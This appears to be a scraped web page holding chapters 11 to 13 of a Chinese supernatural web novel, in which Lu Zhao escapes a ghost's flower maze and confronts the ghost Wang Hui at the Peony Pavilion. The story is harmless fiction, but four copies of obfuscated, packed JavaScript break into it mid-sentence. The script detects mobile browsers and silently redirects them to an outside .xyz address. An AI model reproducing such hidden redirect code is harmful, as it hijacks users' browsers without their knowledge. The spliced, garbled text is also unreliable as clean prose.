RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262444|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这样的雾气,和梦里的一模一样。 是真是假,是虚是实? 余锏站起来。 赵松吓了一跳,这位道长胆子可真大。 “有脚印。”余锏说。 赵松每次都是跟衙役蹲在角落里,不敢高声,更不敢近看。等雾气散去后才听见女人的家人惊呼,闯进屋时已不见踪影。 脚印? 他想看却不敢。 闻晧听余锏这么一说,立刻站起来走出去。他下意识觉得自己不出来,陆昭就会出来。他想保护陆昭。但才出来他就后悔了,这雾气很凉,很冷,仿佛冰块捂着他的脚。 这可不行,你日后可是要在醍醐天大展拳脚,万一被师兄弟发现你怕鬼,岂不是一世英名毁于一旦…… 闻晧在心里碎碎念。走近了发现雾里确实有脚印,一个个慢慢浮现,从大路到院子里,再到门口,“真的有脚印!” “嘣”地一声,紧闭的屋门打开,闻晧没看见有人出来,却听到有男人在惊呼:“三娘不见了!” 闻晧惊讶。他可还在这里呢,没见到任何人进出,好端端的人就不见了? 陆昭跑过来,看见进来的脚印慢慢被雾气覆盖,而屋门外却开始出现两排脚印,他立刻明白了,“老闻,是我们看不见,你看地上!” 闻晧这才注意到两排脚印。 莫非这就是鬼遮眼? “你别动!”闻晧大喊一声,扑向其中一排脚印。 他感觉自己撞到了人,双双跌倒在地。 闻晧低头一看,一个人形从头到脚慢慢浮现,赫然是一个两眼迷离,浑浑噩噩的女人。 屋里跑出来一个男人,把女人扶起来,“三娘,你醒醒啊!” 女人还是呆呆的,一言不发。 闻晧知道自己选对了,女人们不是莫名消失的,而是鬼遮了人的眼。想到这里,他一阵后怕,既然这排脚印是女人的,那另一排不就是鬼的?要是他选错了,不就会扑倒鬼了? 苍了个天,可怕。闻晧头皮发麻。 “太好了,道长果然神人,一来就阻止了鬼魅妖邪!”赵松跳出来当马后炮。 闻晧:“不是我的功劳,都靠老陆,是他提醒我看脚印。” 他顺便看了一下女人有没有事,却见她虎口有一粒朱砂般的红痣,似曾相识。 跟刚刚在陆昭后颈上看见的一模一样,也是床虱咬的,“怎么到处都是床虱?” 女人的丈夫:“什么床虱?” 闻晧指着女人的虎口,“这不是床虱咬的吗?估计是因为我上了药,所以好得快吧,没有留下这种痕迹。” 男人看了后却面露茫然,“不,我娘子手上没有痣,这红色的是什么?” 没有? 闻晧怔了怔。 “那老陆脖子上的是什么……?”他回过头,惊觉—— 陆昭不见了。 陆昭看见闻晧把人救了下来,不觉松了口气。 雾如雪,渐堆银。 他忍不住打了个冷颤,忽觉身后有一双冰冷的手伸了过来,按在他的后颈上。 陆昭的心跳渐渐缓了下来。 他什么也想不起来,神情恍惚,依着一双牵动他的手,朝远处走去。 就这么一直走。 不知走了多久,一股淡淡清香钻入鼻腔,仿佛大梦初醒,他猛地打了一个激灵。 有人伸手解开了他脖子上的红绳,另一只手接住掉下的玻璃瓶,慢慢地抽回袖子里。 是个女人。 “没了累身之物,很快,你就能幸福了。” 11. 第 11 章 陆昭缓缓转醒。 周遭是高高竖起的花墙,花朵凋败,枝叶枯萎。身前身后,浓重的雾气弥漫,去路一片渺茫。 他感觉到哪里不对劲,低头一看,脖子上的玻璃瓶不见了! 陆昭立刻在周围找了起来,转了一圈都没找到。冷静下来才隐约记起有人拿走了。 这时,他听到很远的地方传来一道声音,“快来呀。” 仿佛是一个少女向情人耳语。 陆昭大声:“是你拿走了我的东西吗?” 那声音轻笑,“累身之物,留着有何用。往后你就留在这里,与我们一同逍遥。” 陆昭这才明白抓走他的也是那天晚上出现在他房间的人,准确来说,是鬼。 他忽然感觉到一阵眩晕,不由得靠到花墙上。 脑海中一片空白。 那声音兀自说道:“等你彻底忘却前尘,就能看到出路了。往后这里就是你的家,再也不必孤零零的。” 意思是在这个花园待得越久,他会慢慢忘记一切,就像得了失忆症? 陆昭打起精神,看向花墙,旋即手脚并用地往上爬。 他抓住花藤,三两下爬到了上面。定睛一看,心却凉了大半。 目之所及是雾气,浓重的雾,吸入一口就像在肺里放了一勺冰块。能见度极低,只能看到相邻的花墙。 这是一个花墙迷宫。 仿佛笃定了他很快就会忘记一切,那声音暂时消失了。 陆昭翻身从花墙下来,一头钻进雾里。 他摸索着前路,不确定时就爬到花墙上看看。 但这里似乎真的没有出路。 伴随时间过去,他经常会突然冒出“自己是谁,在这里干什么”的感觉。 让他想起做义工时候见到的养老院老人。得了阿兹海默症的他们被永远困在记忆迷宫。 空白感再次袭来的时候,陆昭咬破了下唇。 疼痛让他瞬间思绪回笼。 “何必呢……”那声音如琴弦续续弹。 “凭什么由你来决定那是累身之物?”陆昭丢下这一句,继续寻找出路。 声音不知是被他问住了还是不屑看他挣扎,再也没出现。 忽然,陆昭听到了女人哭泣声。 转过一个拐角,一个女人忽然出现。 她对着花墙哭泣,满脸泪痕。如惊弓之鸟,慌张地望向陆昭。 “你不用怕,我也是被抓进来的。”陆昭慌忙解释道。 女人缄默不语。 陆昭一靠近,便听到回音一般的话语。 侧耳倾听,是三个,“孤独呀”。 他抿了抿唇,对女人说:“你的家在哪里?我们一起出去。” 女人仍不说话,只沉默地流泪。 忽然间她的身体变得透明,一下子就消失了。 陆昭想到榆城里失踪女人的情况。 她们消失是被带到这里来了?在这地方待久了会渐渐失忆,这些女人多来几次,直到彻底把过去忘记了,就会走出花墙迷宫,永远留在这里? 可抓她们来的鬼怎么判定是否符合条件? 就比如他是一个男的,来榆城还不到两天,却被鬼抓来了。 陆昭继续往前走,又见到了一个女人。不过这个女人已经不哭了,她只是沉默地坐在那里,看着花藤上一朵枯萎的花苞。 “孤独呀。” 靠近她,陆昭也能听到交织在一起的声音。 与上一个女人一样,过了一会儿她就消失了。 头脑一片空白的间隔越来越短,陆昭脚步跟着快了起来。 他又遇到了四个女人,无一例外,靠近她们的时候能听到“孤独呀”的回响。 而且消失的间隔变短了。 直到陆昭见到了一个女人,哪怕是走到她面前,自己也没听到回响。 女人的眼泪似乎流光了,花藤上枯萎的花苞摇摇欲坠,她伸出双手,让它掉入掌心。 四周的雾气倏地散去了。 她起身向前走去。陆昭蓦地发现前面就是出路,提步追赶时却觉得后腿被扯了一下。低头看去,不知何时,花藤悄悄攀到他的腿上,死死地缠住。 他只能眼睁睁地看着女人走出迷宫,尽头似乎站着一个一身红衣的女人,她对女人伸出手臂。 雾气慢慢聚拢了回来,花藤也放松,缩回花墙里。 陆昭喘着重气,用力地打了自己一巴掌。 大脑里的空白感消退了一点。 看来,回响消失的时候,就是她们彻底忘却一切时。 他也一样? 陆昭捂住耳朵,只能听到胸腔里的那颗心在重重跳动。 隐隐约约,有一道男声的回响: “孤独呀。” 他吓得松开了手,心脏边缘浸染上一丝绝望。 妈妈的骨灰丢了,他会忘掉这一切,变成一个行尸走肉。 沧海镜的毒也解不了了。 陆昭忽然想起什么,从怀里摸索出了沧海镜。 他难掩激动,幸好那天晚上做梦之后心里不安,将碎片贴身携带。 解开包裹碎片的布,陆昭将碎片举高。 镜中迷雾散去,迷宫路线清晰可见。 他心下大喜,猜测鬼就是梦里得到了沧海镜碎片的王二娘子。她跟赵家阿夭一样,虽然得到了超乎寻常鬼怪的力量,却也被规则束缚着。 陆昭立刻用镜子引路,寻找出去的路。 寻路过程中,他发现花墙会移动。 怪不得就算他留下路标也会回到原地。 空白感袭来的间隔越来越短了。 陆昭吃力地举起沧海镜碎片,镜片划破掌心,血沿着手腕流了下来,交叠着红线。 那声音似乎笃定他就要屈服,又跳出来劝说道:“可怜人,如何挣扎,亦无出路。何苦,何苦。” 陆昭根本不管她说什么,扬起胳膊又给了自己一巴掌。 这一下把他的脸都扇红了,但理智也跟着回笼。 “你决定不了别人是否可怜。” 陆昭提起沉重的腿,向前走去。 血沿着指尖滴落,在地上开出一朵又一朵红花。 花墙可以移动,但路动不了。留在地上的血成了指引他出去的路标,越是临近绝境,越是清醒。 蓦地,陆昭脑海中“嗡”地一声,他忍不住扶住花墙。空白感如潮水般涌来,冲击过往的记忆。 他注意到了面前花墙上一朵枯萎的花苞,心中忽然闪过那个女人彻底失忆前的举动。 他想给自己一巴掌清醒一下,却发现手抬不起来了,整个人膝盖一软地跪在了花墙前,两只手颤颤巍巍地伸出去接花苞。 不! 忽然间,陆昭神智清明。他一把拍开了即将掉落的花苞,有些诧异地看向雾里。 “什么人,胆敢擅闯仙境?” 女声在临门一脚时被打断,气急败坏。 淡淡的声音紧随而至:“走,我只能拦着她一时。” 余锏? 陆昭认出来了。 他扶着花墙站起来,举起碎片,一路狂奔。 没有移动的花墙和空白感阻挠,他很快找到了迷宫的出口。 两侧花墙猛地收拢,试图将他留下。 一道模糊的人影在白光中翕现,光勾勒出他的侧脸轮廓: “陆昭!” 一声暴喝,陆昭纵身跃起,在花墙合拢前跳了出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266335|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他撞到了余锏身上。 两个人摔在地上,余锏揪住了他的领子,才没让他滚出去。 “哈、哈、哈……” 陆昭仰面躺在地上,看着灰蒙蒙的天,不住喘气。 他转头,看见余锏脸上有一道血痕,像指甲划破的。 “又欠你一次。” 喘匀了气,这是陆昭说的第一句话。 余锏一怔。半恼半气似的嗤了一声,“你要还不清了。” 他把陆昭扶了起来,解开手腕上的帕子,给他包扎掌心伤口。 他还学会了绑两个兔子耳朵,只是没有陆昭绑得漂亮。 “这是哪里?”陆昭打量起周围。 看着像一个花园。 翠峰山峦般的跑马高墙,围起一片小桥流水。山石之中,芍药锦簇,颜色各异。八角重檐留青瓦,葫芦宝顶衔匾额。上书“牡丹亭”。 花丛里传来嬉笑声。 几个女人在扑蝶,既有十来岁的,也有三四十。脸上如出一辙的天真浪漫,无忧无虑地顽笑。 陆昭和余锏两个男人在这里格格不入。 但其中一个女人看见了他们,毫不犹豫地邀请他们一起,“一起来呀!” 陆昭下意识回答:“不用了,你们玩。” 与此同时,余锏侧身挡在了女人和陆昭之间。 见他不来,女人也不生气,回头跟同伴一起玩去了。 两人来到牡丹亭中。 亭里的圆桌上放着各色美食,几个女人围在一起,一边吃一边辩论。陆昭驻足听了一会儿,原来在聊时政。 一抹青烟飘了过来,悠悠落在地上。 谈天论地的女人们齐声打招呼,“亭主来了。” 青烟浮现出一个女人的面容。 陆昭认出来,她就是梦里得到了沧海镜碎片的女人。 “你是王二娘子?” “是。不过我更喜欢别人叫我的名字,王慧。” 王慧下半身还是青烟的样子,披帛环身浮动。陆昭猜想她早就死了,现在是鬼魅,“把我的东西还给我。” “累身之物,留着何用?”王慧身形一晃,便飘到了陆昭身侧。她的声音也轻飘飘的,没有重量,“孤寡之人,入世只有无尽的痛苦。不如留在这里,与我等作伴。我们绝不会因为你是个男子,便轻蔑于你。” 陆昭:“我在梦里见过你。” 王慧怔了怔。 “你的丈夫对你很不好,他打你。这就是你说的轻蔑吧。”陆昭心平气和,“你把这些女人留在这里,是为了帮她们。” 听到第一句话的时候王慧有些生气,下半身的青烟隐隐冒出点红色,但听到后半句时,又转回青色,仿佛见到知己那般,激动地附和道:“没错。她们都是不被重视的孤寡之人,我帮她们去了累身之物,长长久久留在这牡丹亭中,享尽世间荣华。” 她以为陆昭认可自己的行为。 “可这只是你以为的‘帮’。” 王慧的神色冷淡下来,身体旋即飘到陆昭面前。 她冷冷一笑:“你虽是男子,我却看得出你境遇与我们相同。明明是同路人,仍为□□二两所累。你看看,若没有我,她们现在还在夫家受苦,一生岁月蹉跎在了后宅之中,我这不是帮是什么?” 陆昭沉默了一会儿,开口道:“是躲。” 他拿起桌上的书,封皮上写着《陆宣公奏议》。陆昭没看过这本书,但结合刚刚听到女人们谈论的话题,“她们也可以谈论政治,但在你创造的这个假世界里,谈论再多也不可能改变现实。躲起来做这些事,是自我麻痹。跟被困在外面也没什么区别,只不过在外面,困住她们的是后宅,在这里,困住她们的是你。” 12. 第 12 章 “胡说八道!” 王慧羞恼之至,愤懑得发丝都飘了起来,周遭空气骤变,围桌而坐的女人们不禁瑟瑟发抖。 陆昭:“你敢不敢打赌?” 王慧脸色反倒平静了。 陆昭走上前一步,掷地有声,“如果你输了,就把我的东西还给我。” 余锏目光轻轻地落在他身上。 “原来还是为了累身之物。”仿佛是同情他,王慧长叹一声,“好,若你赢了,我就把它还给你。不过,这个人敢来救你,想必是你的朋友。” 陆昭听出她言外之意,“他也要参与进来?” 王慧点头,“没错,像他这种人就应该死在这里。若是你输了,你留下,我会杀了他。也算救你一命了。” 陆昭微怔,抿了抿唇,转头看向余锏,“余锏,对不起,那是我妈妈的骨灰,对我来说很重要。再欠你一个人情,可以吗?” 余锏没说话。 不过既然他没有走,那就是答应了。 陆昭感激道:“谢谢。” 说完扭头再去跟王慧说话,却见她忽然化作青烟,朝自己撞了过来。 陆昭下意识抬起手,云烟散去之后,他发现自己坐在梳妆台前,从铜镜里可以看见自己的模样。 赫然是王慧的脸。 他愣了一下,忽然听见一声巨响,门被人一脚踹开。 一个浑身酒气的男人闯了进来。 “你这个臭婆娘,镇日让我丢脸!成婚三年,生不出孩子就算了,还给我戴绿帽。现在整个榆城的人都在笑话我,看我不打死你!” 墙边竖着一根烧火棍。男人操起便挥向陆昭。 陆昭赶紧躲避,却发现身体沉重异常。腿上火辣辣的疼,他掀开衣服,发现“自己”的手臂、胳膊上都是淤青。 看来王慧让他体验自己经历过的。为了证明他错了。 男人见他竟然敢躲,先是吃了一惊,旋即怒火更盛,一副要当场打死他的架势,“贱妇!要不是我娶了你,到现在你还被整个榆城笑话!好啊,看样子是找到奸夫了,要跟他私奔了!我今天就打死你!” 陆昭把周遭能看到的东西都丢了过去。 茶碗茶壶,花瓶木雕,不管三七二十一,全往男人身上砸。 男人挨了个结实,捂着破了皮的额角,惊慌失措地发现自己流血了,更加跳脚:“贱妇!贱妇!” 陆昭明白王慧的用意了。 她是想通过这种方式告诉他,她是一个女人,力气本就没有男人大。长期挨打,根本不可能反抗。所谓改变现实不过是笑话,留在牡丹亭才是唯一的出路。 “好,你打吧。”陆昭梗着脖子,一把拉开袖子,给他看自己的伤。 他突然转性,男人犯起嘀咕,嘲讽道:“你以为老子不敢打?以为你给老子戴了绿帽子,还能怜香惜玉?老子今天非要打死你!” “我是给你看看你做过的事,只要你今天打不死我,我告诉你,这些伤,我一定会成千成百地还到你身上。” 怕他听不清,听不懂,陆昭一个字一个地说,“只要我活着一天,我就要把这些还给你。你最好祈祷自己永远没有闭上眼的一天,因为只要有机会,我就会折磨你、报复你、杀了你。” 男人发憷了,高声道:“你就不怕我真的打死你?” “我怕。可我什么都没做错,你也会打死我。” 陆昭一步步走向男人,“动手啊!” 男人竟下意识后退了,撞到了梳妆台。 他的嘴巴嗫嚅,发出女人的声音:“若他真的杀了你,又当如何?” “那就做鬼。”陆昭很平静,“做一个复仇的猛鬼,做一个仇恨的厉鬼。我没有错,为什么要用别人对我的偏见来惩罚自己?” 女人竟深深沉默了。 “不杀?”他转身朝门外走去,“不杀,我就要出去看看这个世界了。” 刺眼的光让他睁不开眼。 身后有一双手搂住了他的肩膀,把他往后拽了一下。 陆昭已经回到了牡丹亭里,王慧浮在他面前,看上去失魂落魄。 他关心结果,“我赢了吗?” 王慧慢慢撩起眼帘,看向他,轻轻一笑,“我可以说你输了。” 陆昭摇头,“你不会的,你这么做跟他有什么区别。” 王慧噎了一下,自顾自地往下说:“他打我,我想逃,他就让莺儿看着我。莺儿是我从娘家带来的,我以为她很忠心,没想到她不想过当丫鬟的日子,她想当姨娘。我逃不掉,我能逃到哪里去?嫁出去的女儿泼出去的水,爹娘只要弟弟不要我……” “亭主。”石桌旁的女人怯生生地喊了一句。 王慧先是一怔,忽然变脸,浑身卷起狂风。 陆昭被这风吹得脚下不稳,身体不由自主往后倾,一脚踩空,从牡丹亭里退了出去。 不过他并没有摔倒,狂风托住了他。 有人将什么塞进他的怀里,一触碰到那冰凉的质感,陆昭就知道是玻璃瓶,赶紧紧紧捉住了。 余锏的手在他腰间,半是扯住腰带,半是搂住。 他脚下轻盈了起来,仿佛是被狂风卷上了天。但下一刻,陆昭听到一声女人的惨叫,然后是从鼻腔里发出来的淡淡冷哼,听着很不屑。 他分辨出是王慧和余锏的声音。 过了一会儿,陆昭踩到了坚实的地面。 他在原地愣神,直到闻晧一把鼻涕一把泪地扑了过来:“老陆!呜呜呜你还活着,太好了,我以为我要失去好兄弟了!” 陆昭关心道:“你没事吧?” “我当然没事!有事的是你才对!”闻晧叽里呱啦地开始吐苦水,“当时我把那姑娘给救了,回头一看你人没了,怎么找也找不到。余老兄说他出去看看,也不回来了!我一个人跟着赵大哥回了衙门,县官知道鬼遮眼会有脚印,就让大家把消失过的女子都带回衙门。我跑了好几户人家,有一些人好难缠,非要一起来衙门,可看他们的样子根本不在乎……” 陆昭听完了,“老闻,你辛苦了。” 闻晧愣了愣,脸不禁红了,磕磕巴巴道:“老陆,我先去救她们,没来找你,你不生气吧?” 陆昭诧异道:“不生气啊,有什么好生气的。老闻,现在消失的女子都在衙门吗?” 闻晧点头。 陆昭:“我有新的线索,我们回衙门说。” “好。”闻晧一听便振奋精神,只是他突然抓住陆昭的手腕,拉起他衣袖,神情凝重起来,“怎么这么快?” 陆昭发现他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296884|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂上的红线已经凝聚出一片树叶了。 余锏的话犹在耳边。 “等它长成一朵花,你就会死。” “花……”陆昭呢喃,蓦地,他回头四处张望,“余锏呢?” 闻晧感到奇怪,“余老兄真的找到你了?那你们俩怎么没一起回来?” 陆昭记得自己被妖风卷上空时,余锏还在旁边。 但此刻只剩他自己了。 难道余锏被留在了牡丹亭? 凭他的本领,能否脱困? “老陆。”闻晧见他愣神,轻轻推了推他的肩膀。 “余锏应该没事,之前在通城也是他救了我们。老闻,我们先去衙门。”陆昭作出决定。 不知为何,闻晧心里的五味瓶倾倒了一点,只是他向来大大咧咧,转眼便忘了,“好。” 十数个女子和他们的家人聚在衙门前院。 赵松遵循县官命令,给他们安排住处,并防备鬼夤夜抓人。 见陆昭和闻晧回来了,他眼睛一亮,上前先围着陆昭转了一圈,“道长可真厉害啊!深入虎穴还能全身而退,不愧是醍醐天来的!” 陆昭对他的彩虹屁无感,闻晧身后仿佛有一根小狗尾巴摇起来了,抬起下巴自豪道:“我敢说老陆比醍醐天的许多人都要厉害。” “两位道长!”县官满面春风地迎来了。 一个更会吹彩虹屁的来了,陆昭先打断他,“县官大人,我掌握到了一些新的线索,我们可以换一个地方聊吗?” 过得一会儿,后堂之中,四方桌上,三人听陆昭说完他在牡丹亭的遭遇,纷纷陷入沉默。 县官擦了擦汗,他本就对鬼神之事半信半疑,如今听得害怕了起来,赶紧起身,清了清嗓子,嘱咐赵松配合两人全力驱鬼后便“病”遁了。 赵松佩服道:“陆道长,那另一位余道长没事吗?” 陆昭想了一会儿,“我相信他没事。” 话音方落,屋顶上传来响动。 闻晧跑出去看了一眼,回来道:“猫在踩屋顶。” 只是一个小插曲,三人都没放在心上。 赵松继续问:“陆道长,既然抓走她们的确实是鬼,还是有道行的鬼,那就算把她们留在衙门也没用。不知你是否能将逃离迷宫之法告诉她们,或许能帮她们离开?” 陆昭还没说话,闻晧抢先道:“这办法没用,你看那些女子痴痴傻傻的模样,怎么可能听得进去?再说了,按老陆说的,她们都是女鬼说的‘孤寡之人’,只要心中还感到孤独,就一定会去牡丹亭。” 赵松为难道,“闻道长,照你所说,要让她们不感到孤独才可以。这也太难了,根本不可能做到。” 闻晧还没明白他言下之意,“为什么?” 赵松没解释,而是起身道:“陆道长一定又累又饿了吧,我已经吩咐厨子给二位做了饭,你们先吃饭休息。我去安排那些女子和他们的家人住下。” 闻晧还想说话,陆昭轻拍他的肩膀,对赵松道:“好,赵大哥,麻烦你了。” 两人回到休息的地方,闻晧迫不及待地问:“老陆,你快跟我解释一下吧,我想不通啊。为什么我们就不能告诉她们的家人,让他们对她好一些,别让她感到孤独呢?这不是解决问题最快的办法吗?” 13. 第 13 章 陆昭沉默了一会儿,“因为他们的家人正是让她们孤独的元凶。” 闻晧微怔,坐下来叹了口气,很是懊恼地抓了抓头发,“老陆,你觉得他们不会改?” “你我只是外人,我们也只是短暂地停留在榆城。” 陆昭要找沧海镜,闻晧要找血魔。 他们都不会留在这里。 “仅凭三言两语改变不了她们的处境。” 闻晧脱口而出:“那按照你的意思,她们留在牡丹亭更好?” 陆昭摇头,“牡丹亭也只是幻梦,这世上没有谁能救得了谁,人只能靠自己。” 闻晧没说话。半晌忍不住笑出了声,“老陆,我从来不觉得你是一个悲观的人。这话可不像你会说的,倒像余老兄。” 陆昭困惑:“余锏?你为什么觉得他会这么说?” “直觉吧。我觉得余老兄很难亲近,要不是你……”闻晧心虚地看了他一眼,“我可不会跟他这种人做朋友。” 陆昭莞尔,“我觉得他是个好人,在血魔老巢的时候要不是他,我们可能已经死了。” 闻晧吃味:“不就是家学嘛,等我进了醍醐天,我也有本领了,到时候我的孩子也会有‘家学’。” 说到醍醐天,陆昭好奇:“醍醐天是不是跟道观一样?” “是也不是,醍醐天里都是修行之人,济世为怀,以斩妖除魔为己任。跟普通道观不一样。不是什么人都能进醍醐天,必须要通过考验。”闻晧挺起胸板,信心满满,“比如我。” 陆昭:“醍醐天的道士可以有孩子吗?” 闻晧:“我不知道啊。” 陆昭:“那你的‘家学’传给谁?” 闻晧:“我也不知道啊。” 两人大眼瞪小眼。 陆昭笑着摇了摇头,说回正题,“老闻,我觉得还是直接让女鬼放下执念更简单,你觉得呢?” “也只能这样了。”闻晧的目光落到了他的手臂上。 毒蔓延的速度太快了,闻晧也想尽快拿到剩下的沧海镜碎片。 衙役把饭送了过来,两人一顿饱食。 陆昭没什么胃口,只吃了五分饱就搁筷了。闻晧吭哧吭哧包揽了一大桌,吃得坐在椅子上捧着肚子打嗝。 陆昭起身,“我出去散步消消食。” 闻晧饱得起不来,他还记得女鬼要抓陆昭,赶紧嘱咐了一句:“看到雾气就赶紧跑啊。” 陆昭觉得女鬼不会抓他了。 他走出后院,一眼看到了敞开的大门外站着一个模糊的人形。 陆昭一眼就认出他是谁了,“余锏?” 来人慢慢走近。 天色已经暗了,院子里几盏烛火摇曳着。除了他站着的地方,其他地方都不大看得见人。 余锏的脸和身体都在黑暗里,直到离陆昭还有三步,才被烛光打出半张脸。峰峦耸立,泾渭分明。 他从光影中来。 陆昭没有看到他受伤,但他闻到了血味。 因为余锏喜欢穿黑衣,受伤了也很难被察觉。 “你受伤了吗?” “没事。” 余锏的话还是一如既往地少。 但陆昭反而放心了,他自己也说不出为什么。 他想到了女鬼说要杀了余锏,难道他现在才回来,是被牵制住了? 陆昭走上前,“你伤到哪里了?” 这么说着,他已经想好待会儿去跟闻晧拿两颗药。 余锏好像知道他的打算,“他的药吃完了。” 陆昭诧异地看他,“你怎么知道?” 他还是喜欢站远一点跟他说话。 这么近,抬着脖子,有点酸。 “我没事。”余锏又一次强调。 或许他已经包扎好了,或许只是衣服上残留的血味。 陆昭说服了自己,说回正事。他捋起自己的袖子,给余锏看已经长出了一片绿叶的红线,“毒蔓延得好快。” 余锏只是看了一眼,仿佛医生下论断,“你没多少时间了。” 陆昭迟疑了一下,“王慧的梦想根本不可能实现,对吗?” 余锏垂眸看他。 陆昭不知道他的眼神里饱含了什么情绪,反正被看久了有些躁动。 余锏:“沧海镜碎片在她手上。” 陆昭无可奈何地笑了。 不愧是余锏啊。他的话很少,却总是一语中的。 陆昭根本没得选,不管他是否想帮王慧,都帮不了。 王慧跟赵阿夭一样,原本是普通的怨鬼,借助沧海镜碎片,遵从规则,获取力量。陆昭拿到碎片,王慧自然会失去力量。 “你的东西拿回来了?” 陆昭下意识手抚上胸口,握住玻璃瓶,“嗯,谢谢你。要不是你,我就被困死在迷宫里了。” 余锏微微低下头,“还记得欠我多少次么?” 微风穿堂。烛火摇曳,他脸上的光影也在变幻。 一只飞蛾毅然撞到了烛火上,发出“噼啪”一声。 陆昭思绪猛然抽回,摇摇头,“不记得了,你说个数吧。” “你还不起。” 不知道是不是他的错觉,余锏话尾微微上扬。 似乎他并不很在意自己欠人情这件事。 想来他们算是朋友,朋友之间不必斤斤计较。 陆昭坦然:“那我慢慢还。” 余锏的眉梢轻轻动了一下。 这时,陆昭忍不住打了个冷颤,视线越过余锏肩头,看见源源不断的雾气从门外溢了进来。仿佛洪水溃堤。 他先是惊讶于王慧还要抓自己,接着发现地上弥漫的只有雾气,没有脚印。 陆昭一下子就把闻晧的话忘到九霄云外去了。 他朝外面走去,余锏也不阻拦,跟了上去。 县衙给陆昭和闻晧安排的住处就在衙门后巷,是县官私宅的侧院。入口紧邻巷子,出了门右拐数十步就是榆城大街。 雾气是从大街上流过来的。 陆昭刚走出门,就看见巷子两侧点的灯一盏接着一盏飞快地熄灭了。 他的视野黑了一瞬间。下一刻亮起来,余锏手中拿着一根火折子,递给他,“外面有人。” 人? 陆昭顺着他所说往巷外看去,就见大街上陆陆续续有人走了过去。 忽然一个人撞到了他肩膀,听声音就知道是闻晧,“老陆,不跟你说看见大雾就躲进房间里嘛,要是女鬼又把你抓走了怎么办?” 陆昭觉得雾气不是冲他来的。 “过去看看。”他指着大街。 闻晧手里端着油灯,见余锏也在,惊讶道:“余老兄你回来了,你是不是被女鬼抓走了?” “嗯。”声音像从鼻腔里挤出来的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307562|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻晧了然道:“那看来你的‘家学’还是不够厉害啊,这样吧,等抓到了血魔,我们一起去醍醐天,你再学点好的。” 余锏径自走了出去。 闻晧挂心陆昭,“老陆,要不你别去了。” “我没事。”陆昭指了指自己的手臂。 意思是沧海镜碎片在女鬼那里,他不能置身事外。 “好。”闻晧旋即走在前面,“那你跟紧我。” 两人出了巷子。余锏站在路边,双手抱臂,看着一个个不知走向何方的女子。 她们年龄各异,既有少女也有妇人。还有少年郎。共同之处是一脸茫然,浑浑噩噩的,跟行尸走肉一般。 闻晧:“他们要去哪里?” “道长、道长!” 赵松带着两个衙役急急忙忙赶过来,他们躲避着路上的人,不敢触碰,来到陆昭面前,“道长,不好了,忽然到处都是雾气,被我们安排住在衙门的女子们又发了疯,力大无穷,但凡阻拦她们出去,都会被打飞出去。” 她们打伤了家人和衙役,赵松抵挡不过就带着剩下的人来找三人。 一路上他们发现不止过往消失过的女子,城中大多数人家的女眷都变得浑浑噩噩,打晕了试图阻止他们的家人,在大街上汇聚成一条溪流,不知流往哪去。 没事的人家则闭门躲藏,不敢出来。 “牡丹亭。” 陆昭和余锏的声音叠在一起。 前者不禁看了他一眼,见他没有继续解释的意思,才接着往下说,“他们肯定是被王慧带到牡丹亭去了。” 赵松挠了挠脸,小心翼翼道:“陆道长的意思是,这街上的人都是‘孤寡之人’?” 闻晧觉得不大可能,走三步就一个孤寡,岂不到处都是孤寡,“那也太多了吧。” “是个人,心中就会有孤独。王慧先前挑选的都是最孤独的人。现在让这么多人进去,看来她想把整个榆城变成‘牡丹亭’。” 就像赵阿夭用一列迎亲队伍把通城变成鬼城。 闻晧不解,“她为什么要这么做?” 陆昭猜想是自己的话激怒了她。 闻晧一如既往的莽,跟赵松说:“可不能让这么多人被女鬼抓走,我跟上去看看他们要去哪里,赵大哥你们能拦住多少就拦住多少。” 话虽这么说,他还是忍不住问陆昭:“老陆,那个女鬼长得像鬼吗?” 这算什么话。陆昭失笑,“她既然是女鬼,肯定像鬼。” 闻晧哀嚎一声,给自己打气,“我以后可是要加入醍醐天,到时不知要面对多少妖魔鬼怪,不能害怕!” “我跟你一起去。”榆城的现状多少与他有关,陆昭不能坐视不理。 闻晧点头:“好,这次要是拿到碎片,你一定先跑,别救我。” 至于余锏,一来陆昭已经欠了他许多次,二来他身上有伤。陆昭想让他留下来,便没有开口。 而余锏双臂环胸,靠着廊柱,似乎在等待什么。没有等到,双眉又压了下去。 